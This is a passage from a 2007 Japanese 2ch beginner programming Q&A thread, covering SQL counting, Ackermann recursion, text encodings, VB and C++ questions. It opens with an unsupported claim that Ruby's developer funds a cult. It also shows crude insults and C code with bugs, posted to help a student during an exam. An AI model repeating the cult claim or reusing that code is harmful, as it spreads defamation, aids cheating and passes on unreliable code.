現実的な問題を良く解決する力の無い、絵空事のような「使いやすさ」「楽しさ」ばかり追求されている。
しかも開発者がカルト宗教にハマってて、この人物の収入の一部は自動的にその宗教団体に行くから、
Rubyに金を落とすのはカルト宗教に金を落とすのと変わらない。
664デフォルトの名無しさん:2007/01/23(火) 10:23:06
>>551
とても遅くなったけどありがとう。
665デフォルトの名無しさん:2007/01/23(火) 10:46:38
プログラム挙動理解のためプログラムを日本語に翻訳しています。
出来れば他人に理解しやすいように
既存のメソッドがあればそれに則って翻訳していきたいのですが、
そのようなものがありましたら教えていただけると幸いです。
666デフォルトの名無しさん:2007/01/23(火) 10:49:24
>>665
日本語でおk
667デフォルトの名無しさん:2007/01/23(火) 11:02:30
>>665
原語と訳の一覧作ってあとで変えられるようにしておく
668デフォルトの名無しさん:2007/01/23(火) 11:14:17
日本語を命令に使う言語といえばLOGO。
子供の頃大学で親子でPC実習みたいなのがあってそこでLOGOを使ってたな。
当時BASICやってた自分には少々まどろっこしかった。

いやなに、ちょっと思い出しただけ。

>>665
そのようなものとはつまるところ、
自動的にメソッド抽出してEXCELか何かで翻訳語を手作業で対応させれば自動的に日本語に翻訳していけるようなソフトという
理解でいいのか。

んなもん自分で作れと思う。
669デフォルトの名無しさん:2007/01/23(火) 11:19:02
翻訳は人間がやるんだろ。
で、この構文はこう表現する、という定石がないか聞いてるのでは
670デフォルトの名無しさん:2007/01/23(火) 11:21:04
COUNT関数についてお聞きしたいのですが、
あるテーブルに区分があり、その値が01〜03まで存在する場合、
ひとつのSQLでそれらの件数を求めることはできるでしょうか?

SELECT COUNT(*) FROM TABLE WHERE 区分 = 01
SELECT COUNT(*) FROM TABLE WHERE 区分 = 02
SELECT COUNT(*) FROM TABLE WHERE 区分 = 03

これをひとつのSQLにまとめたいです。
671デフォルトの名無しさん:2007/01/23(火) 11:32:26
>出来れば他人に理解しやすいように

それ以前にお前の質問を100%理解できたやつがいない。
672デフォルトの名無しさん:2007/01/23(火) 11:33:44
>>670
SQLは板違い。

SELECT COUNT(CASE 区分 WHEN 01 THEN 1 END) ,
COUNT(CASE 区分 WHEN 02 THEN 1 END),
COUNT(CASE 区分 WHEN 03 THEN 1 END)
FROM TABLE

でいけると思うけど
673デフォルトの名無しさん:2007/01/23(火) 12:46:14
BASICの質問はどこですればいいの?
674デフォルトの名無しさん:2007/01/23(火) 12:55:47
>>670>>672
DISTINCT使えよ
675デフォルトの名無しさん:2007/01/23(火) 12:58:35
しったか乙
676デフォルトの名無しさん:2007/01/23(火) 12:59:03
どう推論すると、重複を省いてカウントする仕様であるという事が、>>670から導くことができるんだ?
677デフォルトの名無しさん:2007/01/23(火) 12:59:49
多分、GROUP BY と言いたいんだろうw
678デフォルトの名無しさん:2007/01/23(火) 13:01:50
まあGROUP BY が正解だろうけど、元の質問者の要求で0件の場合どうするかとか
書いてないしな。
679653:2007/01/23(火) 13:16:42
わかりにくくてスマソ
例えばアッカーマン関数のような再帰です
return ack(m-1,ack(m,n-1));//この部分
//ackermann
int ack(int m,int n){
if(m==0)return n+1;
if(n==0)return ack(m-1,1);
return ack(m-1,ack(m,n-1));
}
680デフォルトの名無しさん:2007/01/23(火) 13:24:59
VBで、Windows用アプリ作るのとPocketPC用アプリ作るのとで
できることに差あるの?
なんかWindowsMobile5.0用に作ってたら、フォームに背景が
指定できなかったりするんだけど、要するに駄目なん?
でもPictureBoxは使えたりと良く分からん。
681デフォルトの名無しさん:2007/01/23(火) 13:28:02
>>679
引数に自分自身をとってないやん。
それは引数に関数の戻り値をとっているだけで、その引数の型はintだ。
引数に自分自身をとるというのは、hoge(1, hoge)みたいなものだ。
そのアッカーマン関数のような書き方はごく普通の再帰の書き方だ。
そして、当然非再帰的な書法に変更できる。がんばって書き換えろ。
682デフォルトの名無しさん:2007/01/23(火) 13:29:39
>>665
プログラムの翻訳といっても、言語によって様々な違いがある
まずはそれを説明したほうが良いのでは?
例えばC++ではメソッドという言い方はせず関数、メンバ関数などと呼ぶ
しかし、それよりも訳したい分野の翻訳書を探すのがよいと思うが
683デフォルトの名無しさん:2007/01/23(火) 13:36:08
>>681
Ackermann関数は原始帰納的でない関数なので普通の繰り返しには書き換えられないよ。
普通の、ではね。
684デフォルトの名無しさん:2007/01/23(火) 13:44:35
>>681
引数に自分自身をという言い方は私のミスでした、すみません
頑張ってみます、ありがとうございました
685デフォルトの名無しさん:2007/01/23(火) 13:47:16
>>683
普通の、というのは
スタックを使って書き換えるのは無理ってことでしょうか?
686デフォルトの名無しさん:2007/01/23(火) 15:02:39
>>685
スタックを明示的に使用する形で再帰表現を除去するのは可能だ
687デフォルトの名無しさん:2007/01/23(火) 15:16:50
マスキャドで作成したプログラムでグラフを作ってワードに貼り付けて
印刷したら、グラフの枠だけ印刷されて肝心なグラフの特性が全くの白紙の
状態で印刷されるんですが、なぜですか?
どうすればちゃんと印刷できますか?
688デフォルトの名無しさん:2007/01/23(火) 15:19:46
不具合の文句はmicrosoftに言え!
689デフォルトの名無しさん:2007/01/23(火) 15:30:07
>>686
ありがとうございました、やってみます
690デフォルトの名無しさん:2007/01/23(火) 16:06:07
>>682
665のメソッドはプログラミング用語として使っているのではないと思う。
691682:2007/01/23(火) 16:20:37
>>690
665の文章は俺には理解できなかったから否定はしない。
ただ、翻訳をしようとしている人っぽいので
俺は応援したいと思った
692デフォルトの名無しさん:2007/01/23(火) 16:37:00
文章下手なやつの翻訳ははっきり言って迷惑
693682:2007/01/23(火) 16:44:33
あんたは665じゃないのか。
694デフォルトの名無しさん:2007/01/23(火) 18:12:56
次のようなデータ構造に対するRDBのテーブル設計について教えてください。

・(ID、分類、値)のデータの組が数十万件あります。
・「ID」はこのデータの組を一意に識別します。
・「分類」は、このデータの組を階層化して分類する次のような文字列
 例えばトップレベルの分類が"A"で次のレベルの分類が"B"、
 さらにその次のレベルが"C"だとすると、"A.B.C"
・「分類」の階層は少なくとも1レベル以上で上限はありません。
・「分類」の階層の数はデータの組ごとに異なります。
・「分類」の文字列は、各階層ごとに辞書的順序で順序付けされています。
 例えば、全てのデータの組を「分類」の順序でソートしたとすると、
 順に、Aの属するもの、A.Aに属するもの、A.Bに属するもの、A.B.Aに属するもの、
 A.B.Bに属するもの…、となります。ここで、Aに属するものは、A.AやA.Bなどに
 属するものとは重複して属することはなく、Aには属するがA.AやA.Bなどには
 属しないものとします。また、同じ分類に属するもの同士の順序は任意とします。

以上のようなデータ構造で、あるときにはトップレベルの分類だけでソートしたり、
あるときには、例えば分類A.Bだけは第三層まで見てあとは全て第二層までの
分類でソートする、あるいは、途中の階層にXの分類があるのみもの集計する、
といった具合に自由な階層構造でソートしたり集計したりしたいとします。
このような場合、どのようにテーブル設計をするのが良いでしょうか?
あるいは、参考になるURLなどを教えていただければ幸いです。
よろしくお願いします。
695デフォルトの名無しさん:2007/01/23(火) 18:19:01
データベース
http://pc10.2ch.net/db/

過疎気味だが専門家はちゃんといる
696デフォルトの名無しさん:2007/01/23(火) 18:24:42
>>695
情報ありがとうございました。
マルチポストになってしまうかもしれませんが、
そちらで同じ質問をしてみようと思います。
697デフォルトの名無しさん:2007/01/23(火) 19:38:53
あるプログラムの挙動を理解するため、ロジックを自然言語で表現しなおしています。
できれば他人に理解しやすいように
既存の方法論があればそれに則って表現したいのですが、
そのようなものがありましたら教えていただけると幸いです。
698デフォルトの名無しさん:2007/01/23(火) 19:43:25
日本語でおk
699デフォルトの名無しさん:2007/01/23(火) 19:47:26
>>697
脳の言語中枢に障害のある方ですか?
700デフォルトの名無しさん:2007/01/23(火) 19:48:20
はい、そうです。
701デフォルトの名無しさん:2007/01/23(火) 19:52:01
あるプログラムの挙動を理解するため、ロジックを自然言語で表現しなおしています。
「if 〜」は「もし〜ならば・・・」といった具合です。
ですが、これだと自分はいいのですが他人に見せたとき理解してもらえるか不安です。
他人が見て理解しやすいような表現方法があればそれに則って表現したいので、
そのようなものがありましたら教えてください。
702デフォルトの名無しさん:2007/01/23(火) 19:55:05
日本語でおk
703デフォルトの名無しさん:2007/01/23(火) 20:01:45
プログラムの振舞いを分かりやすく記述する方法を教えてください。
704デフォルトの名無しさん:2007/01/23(火) 20:04:26
なんだ結局フローチャートかよ
あほらし
705デフォルトの名無しさん:2007/01/23(火) 20:34:01
C++ の質問なのですが、<cstdio>や<cerrno> を使った場合も
stderr や errno は std ネームスペースに含まれないんでしょうか?

エラー出力のために
std::fprintf(std::stderr, "debug: errno=%d\n", std::errno);
のように記述したところ、gcc 3.4.4(cygming special)では stderr, errno
双方ともマクロ展開されて、下のようなエラーになってしまいます。

test.cc: In function `int main(int, char**)':
test.cc:10: error: expected unqualified-id before '(' token
test.cc:10: error: expected unqualified-id before '(' token
706デフォルトの名無しさん:2007/01/23(火) 20:43:09
>>704
ごめん、君の狙いに反して
君のほうが馬鹿に見えちゃってるww
707デフォルトの名無しさん:2007/01/23(火) 22:04:20
Napsterってログインは中央サーバーでやってたと思うんだけど
実際の音楽配信のやりとりは配布されたソフトウェアでやっていたんですか?
708デフォルトの名無しさん:2007/01/23(火) 22:34:21
>>707
ここはお前が来る場所じゃない
709デフォルトの名無しさん:2007/01/23(火) 22:38:57
710707:2007/01/23(火) 23:00:25
全く別人なんですけどw
711デフォルトの名無しさん:2007/01/23(火) 23:07:56
お前は何を言っているんだ?
712707:2007/01/23(火) 23:09:58
逆にこっちが聞きたいですよ
何か分かりませんけど、とりあえず死ね!
713デフォルトの名無しさん:2007/01/23(火) 23:21:36
だからお前みたいなアホが来る場所じゃないって事
714デフォルトの名無しさん:2007/01/23(火) 23:37:25
>>707
板違い
715デフォルトの名無しさん:2007/01/24(水) 15:47:42
エンコードでUTF-8と、JIS-8というのがありますが、これは同じものでしょうか?
.NETでエンコード指定せず、テキストファイルを出力すると、UTF8で出力されます。
これを、EBCDICに変換してホスト側に送信したいのです。
(漢字はありません。英数カナのみです)
送信ツールには、JIS8→EBSDIC変換というのがあります。これが使えますか?
716デフォルトの名無しさん:2007/01/24(水) 16:12:13
717デフォルトの名無しさん:2007/01/24(水) 16:30:55
ヒント:半角カナの使えるJISコードには JIS7 と JIS8 がある
718715:2007/01/24(水) 16:49:33
>>716、717
ありがとうございます。
教えて頂いたページを見ましたが、EncodingNameプロパティにJIS8がないので、
UTF8=JIS8と考えてよいのでしょうか?
もしくは、EUC-JP =EBSDICなのでしょうか?
719デフォルトの名無しさん:2007/01/24(水) 17:06:39
>>718
漢字コードとそれ以外は分けて考えたほうがいい

漢字コードを考慮しないのであれば、
ASCIIコードを基にしてるJISとUNICODEは近い
EBCDICは別体系。

シフトJISやEUCはiso-2022-jpから派生した漢字コード体系と思えばいい、かも
720デフォルトの名無しさん:2007/01/24(水) 17:21:46
.NETって.NETFrameworkの事?
721715:2007/01/24(水) 17:38:23
>>719
ありがとうございます。
漢字は考慮しません。英数カナ記号です

>>720
VisualBasic.net です

VisualBasic.netで、テキスト出力するのですが、
そのテキストのエンコードをJIS8、または、EBSDICで出力したいのです。
現在、以下のようにコーディングしていて(エンコード指定せず)
sWriter = New StreamWriter(sFileNm) '' エンコード:UTF-8
送信ツールでJIS8→EBSDICに変換しようとしています。
漢字を考慮しない場合、上記の組合せで問題ないでしょうか?
722デフォルトの名無しさん:2007/01/24(水) 17:42:36
あ、なんかごめん
そっちの話じゃなくて俺が純粋にここで質問したかっただけなんだ
偶然すぎる('A`)
723デフォルトの名無しさん:2007/01/24(水) 17:44:15
カナも含むなら、JISとUTF-8は違う。
UTF-8はASCIIの7ビット部分だけが同じ。

カナをそのまま8ビットで扱うのならiso-2022-jpかシフトJISになるかな。
EUCとUNICODE系はちょっと違ってくる
724715:2007/01/24(水) 18:02:25
>>723
そうですか。
自力で変換するしかないんですかね。
どうも色々とありがとうございます。
725デフォルトの名無しさん:2007/01/24(水) 18:10:11
>>724
いやだから、内部コードは気にせずに指定エンコードで出力すればいいだけなのでは
726デフォルトの名無しさん:2007/01/24(水) 18:16:48
>>720
http://e-words.jp/w/Microsoft202ENET.html
同じではないね。.NET Frameworkは.NETのためのもののひとつ。
727715:2007/01/24(水) 18:18:22
>>725
指定エンコードはEBCDICなのですが、
sWriter = New StreamWriter(sFileNm, False, System.Text.Encoding.GetEncoding("XXXXXXXX")
で、エンコードを指定する時、("XXXXXXXX")の部分に何を入れればいいのか、わからないのです。
728デフォルトの名無しさん:2007/01/24(水) 18:30:37
>>726
なるほど!その簡潔な答えが欲しかった
.NETで検索するとドメインばっか出てくるから困ってたんだ
ありがとう!!
729デフォルトの名無しさん:2007/01/24(水) 18:36:51
>>727
>>716を見ると、IBM290 -- IBM EBCDIC (日本語カタカナ)
ってあるけど、これじゃだめかい
730デフォルトの名無しさん:2007/01/24(水) 19:29:42
ArrayListや、LinkedListなどのリストデータ構造を解説しているページを教えてください。

具体的には、ArrayListや、LinkedList以外のデータ構造の一般的な名前を知りたいのですが・・・
731715:2007/01/24(水) 19:35:27
>>729
ありがとうございます。やってみます。
732デフォルトの名無しさん:2007/01/25(木) 00:04:03
3軸ステージ制御をC#でやろうと思いましたが、サンプルコードがVBでしか見つかりませんでした。
VBは専門外なので、C#に変換できればと思うのですが、VB−C#のプログラムの相互変換ツールとか知りませんか?
733デフォルトの名無しさん:2007/01/25(木) 00:11:32
>>732
VBコンパイル->C#に逆コンパイル
734デフォルトの名無しさん:2007/01/25(木) 00:18:25
つか VB ぐらい読めるようにしといた方が良い
.NET 以降なら文法が違うだけだし
735653:2007/01/25(木) 00:36:15
スタックを3つとstatic変数を1個使って
無事非再帰版を書くことが出来ました
ありがとうございました
#初めて、goto文使った
736デフォルトの名無しさん:2007/01/25(木) 11:17:53
テスト中で、非常にこまっえるんだが。
整数を三個入力してその合計、平均、最大値、最小値を求めるプログラムを作成します、各出力は小数点以下一桁までとしましょう。

これって何語ですか? たすけて!!
737デフォルトの名無しさん:2007/01/25(木) 11:21:10
テスト中に2chでカンニングしようとしてる奴を始めてみた。
あげて手伝ってやる。がんばれ。
738648:2007/01/25(木) 11:21:56
質問を変えて再質問させていただき候。
IOleCommandTargetを継承してExecイベントを受信する方法をお教えください。
というか、スクリプトエラーダイアログを表示させない方法をお教えくださいまし。
739デフォルトの名無しさん:2007/01/25(木) 11:23:44
>>736
言語を指定しないと回答しようがない罠

まぁ、指定されても回答しないがwww
740デフォルトの名無しさん:2007/01/25(木) 11:25:16
>>739 C言語入門演習って書いてある。
レスしてくれるだけでもうれしいんだぜ?
741デフォルトの名無しさん:2007/01/25(木) 11:30:27
>>737資料持込OKのテストなんだが。2chは資料じゃないのか!!
742デフォルトの名無しさん:2007/01/25(木) 11:38:53
>>736
何語ですかって聞かれたら日本語ですとしか答えられないんだが
743デフォルトの名無しさん:2007/01/25(木) 11:40:54
>>742
この問題を見て カタカタと打ち込んでる奴らって何なの? って思いました。凄いね。
744デフォルトの名無しさん:2007/01/25(木) 11:52:58
超手抜きバージョン間違ってても知らんwww
#include <stdio.h>

int main()
{
int a,b,c,val_sum,val_avg,val_max,val_min;

scanf("%d",&a);
scanf("%d",&b);
scanf("%d",&c);

a*=10;
b*=10;
c*=10;
val_sum = a + b + c;
val_avg = val_sum / 3;
val_max = max(a,max(b,c));
val_min = min(a,min(b,c));

printf("sum = %d.%d\n",val_sum/10,val_sum%10);
printf("avg = %d.%d\n",val_avg/10,val_avg%10);
printf("max = %d.%d\n",val_max/10,val_max%10);
printf("min = %d..d\n",val_min/10,val_min%10);
return 0;
}
745デフォルトの名無しさん:2007/01/25(木) 12:14:44
>>744
ありがとかみさま! どうかうまくいったわ
746デフォルトの名無しさん:2007/01/25(木) 12:15:59
10倍にするのは設問者の意図とは違うだろうけどな。
747デフォルトの名無しさん:2007/01/25(木) 13:33:50
普通は
double val;
printf("%.1f", val);
だよね
748デフォルトの名無しさん:2007/01/25(木) 16:20:52
>>743
単に君が分かっていないだけだ。
この原因は色々考えられるが、主に以下の3つに絞られるだろう。

1. バカである。
2. アホである。
3. タワケである。
749デフォルトの名無しさん:2007/01/25(木) 17:03:37
そんなわけで成績表は申し分ないが
実際は>>736な奴をおまいらの会社に送り込むから面倒見よろしく。

というオチになるわけだな。
750デフォルトの名無しさん:2007/01/25(木) 17:05:01
>>743 = (1. バカである。) | (2. アホである。) | (3. タワケである。)
751デフォルトの名無しさん:2007/01/25(木) 18:49:58
>>743 = (1. バカである。) & (2. アホである。) & (3. タワケである。)
752デフォルトの名無しさん:2007/01/25(木) 19:25:39
おいおい…高卒の俺でも
>>736 に「何語?」とまではいかんぞ…
フツーに中学数学用語だよな?
俺がコードが書けるかと言うと話は別だけどさ
753デフォルトの名無しさん:2007/01/25(木) 19:36:16
デザインってホームページとソフトウェアでは、
主に何が変わるの?ソフトウェアのデザインではXhtmlが使えなくなると聞いたんだが。
初心者的な質問でごめん。
754デフォルトの名無しさん:2007/01/25(木) 19:45:43
>>753
> ソフトウェアのデザインではXhtmlが使えなくなると聞いたんだが。
もともと、ソフトウェアのデザインにXHTMLなんぞ、津カット欄w
755デフォルトの名無しさん:2007/01/25(木) 21:29:08
>>754
そうか。何度も初心者的な質問ですまないが、
ソフトウェアのデザインに使える言語を教えてくれないか?
本当に初心者的な質問ですまない。
756デフォルトの名無しさん:2007/01/25(木) 21:43:46
>>755
Rubyという言語がある
それを使え
757デフォルトの名無しさん:2007/01/25(木) 22:36:27
再起呼び出しをフローチャートで書くとどうなるか教えてください。
758デフォルトの名無しさん:2007/01/25(木) 22:48:48
書けばわかるさ
759デフォルトの名無しさん:2007/01/25(木) 22:49:50
かけなくて困っていますTヘT
760デフォルトの名無しさん:2007/01/25(木) 22:50:17
761デフォルトの名無しさん:2007/01/25(木) 22:52:48
retrn checksubが再起呼び出しになってるってことなんですか。ありがとうございます!
762デフォルトの名無しさん:2007/01/25(木) 22:55:11
>>755
動作させたいプラットフォームとか書けと
763デフォルトの名無しさん:2007/01/25(木) 23:07:23
VB6を使っているのですが、
タイマー関数の中で使用する自作した関数を、タイマー関数の外で選択することはできますでしょうか?
(今作っているのだと、どの関数を使うかは最初で決められるのに毎回条件を判定して、使う自作の関数を決定しています)

Private Sub Command1_Click()
i = 1 ←ここで使用するための条件を決めて
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If i = 1 Then ←毎回使う関数を選ぶ条件判定を行っている
n = Func1()
ElseIf i = 2 Then
n = Func2()
Else
n = Func3()
End Sub
764デフォルトの名無しさん:2007/01/25(木) 23:19:46
オプションボタンでどの関数を使うかの選択と、タイマー関数を自作の関数分作って
Private Sub Option1_Click()
i =1
End Sub
Private Sub Option2_Click()
i =2
End Sub



Private Sub Command1_Click()
If i = 1 Then
Timer1.Enabled = True
ElseIf i = 2 Then
Timer2.Enabled = True
Else
Timer3.Enabled = True)
End Sub

Private Sub Timer1_Timer()
n = Func1()
End Sub

Private Sub Timer2_Timer()
n = Func2()
End Sub



とした方が良いのでしょうか?
765デフォルトの名無しさん:2007/01/25(木) 23:20:13
>>755
マウスで部品を配置していくのが一般的だから、特に何か言語を使ってと言うのは少ない。
HTA ((X)HTMLを使って)とか、WPF (XAML)とか全く無いわけではないけどね。
766755:2007/01/25(木) 23:48:34
>>762
OSは、windowsならXPかVista、MacならMac OS X
767763:2007/01/26(金) 00:06:23
コントロール配列を使用した方が良さそうですね
Private Sub Option1_Click()
i =1
End Sub
Private Sub Option2_Click()
i =2
End Sub



Private Sub Command1_Click()
Timer(i).Enabled = True
End Sub

Private Sub Timer1_Timer()
n = Func1()
End Sub
Private Sub Timer2_Timer()
n = Func2()
End Sub


768デフォルトの名無しさん:2007/01/26(金) 00:09:14
VCで、某CUIゲームの様にコマンドプロンプトに出力する文字を任意の位置にしたいのですが、
詳細はどういうキーワードでぐぐれば良いんでしょうか。
769デフォルトの名無しさん:2007/01/26(金) 00:12:15
「コンソール」「エスケープシーケンス」「コントロールシーケンス」あたり。
770デフォルトの名無しさん:2007/01/26(金) 00:13:30
arigatougozaimasu
771デフォルトの名無しさん:2007/01/26(金) 00:36:06
6年前にvb6で作成したプログラム見てくれますか
772デフォルトの名無しさん:2007/01/26(金) 00:47:33
見る
773デフォルトの名無しさん:2007/01/26(金) 00:58:53
>>772
ありがとうございます ゲームです
http://up.spawn.jp/file/up68489.zip.html
774デフォルトの名無しさん:2007/01/26(金) 01:03:02
失礼しました こちらです
http://grugru.mine.nu/file.cgi?v=guru_guru_2087.zip
775デフォルトの名無しさん:2007/01/26(金) 01:45:54
見た
776デフォルトの名無しさん:2007/01/26(金) 04:27:15
HAHAHA
777デフォルトの名無しさん:2007/01/26(金) 04:54:21
凄くエロティックなソースコードですね。
778たく:2007/01/26(金) 12:58:50
javaのお絵描きロジックのプログラムで課題なんですが、
これは、座標と線と数値が表示されるだけなんですが、
どうしたら二次元配列で座標を記憶でき、クリックしたら
色を再描画できるのかわかりません。
教えてください。
後誰か、このプログラムでお絵描きロジックを
白黒でも良いので、完成できる人いませんか??
じかんもあまりありませんので本当によろしく
お願いします。
import java.io.*;
import java.util.*;
import java.applet.Applet;
import java.awt.*;
import java.awt.event.*;
/*
<APPLET CODE="mouse.class" WIDTH=200 HEIGHT=100>
</APPLET>
*/
779たく:2007/01/26(金) 12:59:57
続き
public class mouseevent extends Applet implements MouseListener{

private static final long serialVersionUID = -5299837240048445108L;

int n=0, m=0;
int i, j;
int dt[][]=null;

Scanner sc;

int xr=-1, yr,x1,xn,y1,yn,xa,ya,xb,yb,p,s;
String ss="";
public void main(String args[]){

int d[][]=new int[s][p];



}
780たく:2007/01/26(金) 13:00:28
続き
public void paint(Graphics g){

g.setColor(Color.red);

xa=(xr-200)/20*20+200;
ya=(yr-200)/20*20+200;
// xn=200+(20*m);
// yn=200+(20*m);


if((xa >199)&&(ya >199)&&(xa<400)&&(ya<400)){

g.fillRect(xa,ya,20,20);

}


/*g.drawString(""+xr , 30, 40); //座標表示
g.drawString(""+yr , 50, 60);*/
781デフォルトの名無しさん:2007/01/26(金) 13:03:15
javaスレいけば?
782デフォルトの名無しさん:2007/01/26(金) 13:03:27
>>778-780
★★ Java の宿題ここで答えます Part 60 ★★
http://pc10.2ch.net/test/read.cgi/tech/1169300052/
783デフォルトの名無しさん:2007/01/26(金) 13:06:19
いきなり長々とソース貼られても迷惑なだけ
784デフォルトの名無しさん:2007/01/26(金) 13:21:53
うわ、殴りてえ
785デフォルトの名無しさん:2007/01/26(金) 17:21:45
変なヤツを他のスレに誘導すんなよw
誘導先に無意味なもの貼り付けてたぞ
786デフォルトの名無しさん:2007/01/26(金) 22:21:15
すみません、VS2005なんですが、HTMLパーサは自作するしか手は無いのでしょうか。。
787デフォルトの名無しさん:2007/01/26(金) 22:38:06
mshtml.dll 使えばいいんじゃね
788デフォルトの名無しさん:2007/01/26(金) 23:45:32
VCで#ifndef以降の行の文字色が灰色になってしまうのはなんですか?
789デフォルトの名無しさん:2007/01/27(土) 00:08:37
ビルドするかCtrl+Sを押すか数秒間放っておくとアクティブな部分は通常通りになるよ。
M$の無駄な機能って気持ち悪いよね
790デフォルトの名無しさん:2007/01/27(土) 00:39:26
新人にフローチャートを書かせる課題を与えたら、
拡張子fctのファイルを添付して送ってきたのですが、
対応するアプリがわからず開けません。

今から添削しないといけないのですが、本人と連絡が取れないので
どなたか教えていただけませんでしょうか。
791デフォルトの名無しさん:2007/01/27(土) 00:53:15
>>790
とりあえずテキストエディタで開いて先頭か最後に
生成アプリの名称らしい文字列がないか調べてみて
はどうでしょう?
792デフォルトの名無しさん:2007/01/27(土) 00:58:11
極窓も試して見れ
793デフォルトの名無しさん:2007/01/27(土) 01:07:07
>>791
フローチャート中に記入されていると思われる日本語以外は文字化けしてます。

>>792
試してみましたが、登録されていないようでした。
794デフォルトの名無しさん:2007/01/27(土) 02:07:30
プログラマならバイナリエディタぐらい(ry
795デフォルトの名無しさん:2007/01/27(土) 03:07:23
>>766
RubyかC#が、おすすめ。どちらも無料で使える。

>>790
俺なら、課題は0点だな。
他人に読めない、一般的でないフォーマットで送るなと言ってやる。
796デフォルトの名無しさん:2007/01/27(土) 04:21:06
Flow CharT?
797デフォルトの名無しさん:2007/01/27(土) 05:18:07
最新のVCで今時特別な事情もないのにmalloc使ってる人ってダサいと思われてますか?
C言語が出来ないと思われるのが嫌なのでnew使わないでおこうかなと思うんですが。
798デフォルトの名無しさん:2007/01/27(土) 05:21:48
メモリの割り当てにはmalloc,free
オブジェクトの割り当てにはnew,delete
使いどころが違う。
799デフォルトの名無しさん:2007/01/27(土) 05:27:04
ですよね
800788:2007/01/27(土) 05:27:58
>>789
おお、ありがとうございます。
そういうもんなんですね。
801デフォルトの名無しさん:2007/01/27(土) 05:52:05
>>797
ダサい
802デフォルトの名無しさん:2007/01/27(土) 11:36:36
atlhost.hに手を加えたものをatlhostex.hとして、
//#include <atlhost.h>
#include "atlhostex.h"
としてるんですが、なぜか__ATLHOST_H__が定義されているようでインクルードできません。
atlhostex.hの#ifndef __ATLHOST_H__をコメントアウトしても、
C2084 関数は既に本体を持っています。
C2374 再定義されてます。
上記エラーがでてビルドできません。

どうしたらいいもんでしょうか?
803デフォルトの名無しさん:2007/01/27(土) 11:44:11
単純に考えて#undef
804デフォルトの名無しさん:2007/01/27(土) 12:05:46
>>802
#include "atlhostex.h" より上の深いところで#include <atlhostex.h>
とされているんでしょう。
__ATLHOSTEX_H__に代えてみてはいかがでしょうか?
805802:2007/01/27(土) 12:43:34
早速のレスありがとうございます。
>>803 残念ながら駄目でした。
>>804 同じくC2084とC2374エラーが出ちゃいます。

atlhost.hを書き換えて、
#include <atlhost.h>だと大丈夫なんですけども。
806デフォルトの名無しさん:2007/01/27(土) 13:10:16
コンパイラのオプション(プリプロセッサ)はどうですか?
807デフォルトの名無しさん:2007/01/27(土) 14:20:25
プログラムってどのようにして実行されるのですか?
808デフォルトの名無しさん:2007/01/27(土) 14:28:22
マウスでアイコンでクリックして実行されるんだよ。
809808:2007/01/27(土) 14:56:01
日本語が変だな。
正しくは
アイコンがマウスでクリックされることによって実行される
だ。
810デフォルトの名無しさん:2007/01/27(土) 15:06:50
>>798
そんな使い分けをするほうがダサい。
C++なら例えintでもcharでもnew(もしくはnew [])あるいはstd::vectorほか、Cならmalloc(しか選びようがないが)。
811807:2007/01/27(土) 15:12:33
確かにそうなんですが、
プログラグラムを作成して、それが実行されるまでにどういう
ことが行われているのかと思いまして。
812デフォルトの名無しさん:2007/01/27(土) 15:20:15
>>811
MINIXでも読んでみたら?
813デフォルトの名無しさん:2007/01/27(土) 15:20:38
プログラムはなぜ動くのか
http://www.amazon.co.jp/exec/obidos/ASIN/4822281019/
814808:2007/01/27(土) 16:35:36
>>811
プログラムが作成される。

ユーザーが実行したいと思う。

>>809

実行

って話を聞きたいんじゃないんだろうが、
せめてあんたの言うプログラムがソースコード(つまりC言語とかそんなの)なのか実行形式(つまりクリックして実行するやつ)なのか教えてくれ。
815デフォルトの名無しさん:2007/01/27(土) 17:03:13
みんな答えは知ってるけど説明すんのがめんどくさいだけだから
アホは黙ってた方がいい
816802:2007/01/27(土) 17:39:58
>>806
レスが遅くなってすいません。
プリプロセッサの定義でしょうか?
そこにはそれらしいものはありませんでした。
817デフォルトの名無しさん:2007/01/27(土) 21:33:24
C#でネットワーク利用したプログラム書いてるんですが、
winnyの初期ノードのようにIPアドレスを一見見てわからないようにするのに
いい案ありませんでしょうか??
818デフォルトの名無しさん:2007/01/27(土) 21:38:41
「不安定」から「田後」の発注を受けたのはイイが、
ろくなプログラムが掛けなかった「伝説のプログラマ」について知りたいのですが。
819VBER:2007/01/27(土) 23:51:30
VBでMP3のTAG情報などを書き込みたいのですが、どのあたりで質問したら
いいのでしょうか?

#フリーソフトで操作性のいいのはあるのですが、既存のDBから書き込
#みたいので
820デフォルトの名無しさん:2007/01/28(日) 06:13:45
至高の MP3 タグ エディタを求めて,,, v4
http://pc9.2ch.net/test/read.cgi/software/1146400408/
821807:2007/01/28(日) 13:40:15
レス遅くなってすいません。
>>813
本だと詳しく解りそうなのですが、本を買ってまで詳しく知りたいのではなく
単にどういう段階を踏んでるのかと思いまして。

>>814
ソースコードです。
822デフォルトの名無しさん:2007/01/28(日) 13:52:38
子供向けの本でそういうの解説してるのがあったと思う
823807:2007/01/28(日) 14:13:17
自分で調べたら大体は理解できたのでいいです。
失礼しました。
824デフォルトの名無しさん:2007/01/28(日) 14:28:46
iいちいち説明してたら本1冊ぐらい書けてしまうから
それだったら本でも買って読めということだな
825デフォルトの名無しさん:2007/01/28(日) 19:12:27
統合開発環境のビルドの方法としてデバッグとリリースとありますが、この違いはなんですか
826デフォルトの名無しさん:2007/01/28(日) 19:14:31
デバッグ用とリリース用
827デフォルトの名無しさん:2007/01/28(日) 19:17:01
リリース用の方が実行速度が明らかに速くなりますか
828デフォルトの名無しさん:2007/01/28(日) 19:19:15
体感はかわらなかったりする
829デフォルトの名無しさん:2007/01/28(日) 19:36:04
>>825
・実行時ASSERTIONの無効化
・マップ情報の削除
・最適化オプションの付加・その他
830デフォルトの名無しさん:2007/01/28(日) 21:06:26
VB6(VisualStudio)のMSDNのCDを無くしてしまいました。
MSDNはWebで公開されていないのでしょうか?
831デフォルトの名無しさん:2007/01/28(日) 21:32:25
Linuxで画像を変換するソフトを作ってみようと考えてるのですが、
勉強するにはどのようなジャンルを勉強するべきなのでしょうか?
832デフォルトの名無しさん:2007/01/28(日) 21:34:09
>>831
本屋や図書館行って画像処理の本を読め
話はそれからだ
833デフォルトの名無しさん:2007/01/28(日) 21:38:30
英語
834デフォルトの名無しさん:2007/01/28(日) 21:46:49
なるほど…
プログラミングに近道は無しですか。
jpgはbmpより軽くて荒いくらいしか知らないけど、とりあえず画像処理系の本読んでみます。
835デフォルトの名無しさん:2007/01/28(日) 21:51:15
Wikipediaより

